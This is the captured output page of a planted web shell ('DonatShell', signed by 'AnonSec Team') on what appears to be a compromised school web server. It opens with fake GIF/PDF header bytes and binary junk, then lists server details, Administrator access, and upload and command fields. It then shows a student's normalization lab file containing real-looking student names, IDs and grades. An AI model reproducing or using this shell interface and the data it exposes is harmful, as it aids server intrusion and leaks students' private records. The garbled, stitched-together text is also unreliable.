GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/uploads/20245/CST1600/41/15123653/Lab09/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /nginx/html/uploads/20245/CST1600/41/15123653/Lab09/AmeeraAbdelaziz-Lab09.txt
UNF:
studentgrades (StudentId*, StudentName, SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total, Final, IP)
lettergrade (LetterGrade1, Percentage1, LetterGrade2, Percentage2, LetterGrade3, Percentage3, LetterGrade4, Percentage4, LetterGrade5, Percentage5, LetterGrade6, Percentage6, LetterGrade7, Percentage7, LetterGrade8, Percentage8, LetterGrade9, Percentage9)
possiblepoints (SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total)

1NF:
The table "studentgrades" violates 1NF because it contains repeating groups for the lab grades. 

Create Tables:
students(studentId*, studentName)
studentGrades(studentId*, labNumber, grade)
letterGrade(letterGrade, percentage)
possiblePoints(labNumber, maxPoints)

2NF:
OK
3NF:
OK

Three data rows:
studentgrades table:

 StudentId*  StudentName        SP  Total  Final  IP  
 84228748    Lael Abbott        4   41     F      F   
 44107438    Bruce Acosta       5   95     B-     A   
 21479092    Coby Fox           5   65     F      A   

lettergrade table:

LetterGrade1, Percentage1, LetterGrade2, Percentage2, LetterGrade3, Percentage3, LetterGrade4, Percentage4, LetterGrade5, Percentage5, LetterGrade6, Percentage6, LetterGrade7, Percentage7, LetterGrade8, Percentage8, LetterGrade9, Percentage9
A,            93,          A-            90,          B+,           87,         
B,            83,          B-,           80,          C+,           77,         
C,            73,          C-,           70,          F,            0         

possiblepoints table:

 SP  Lab01  Lab02  Lab03  Lab04  Lab05  Lab06  Lab07  Lab08  Lab09  Total 
 5   10     5      10     10     15     10     15     15     15     110

Anon7 - 2022
AnonSec Team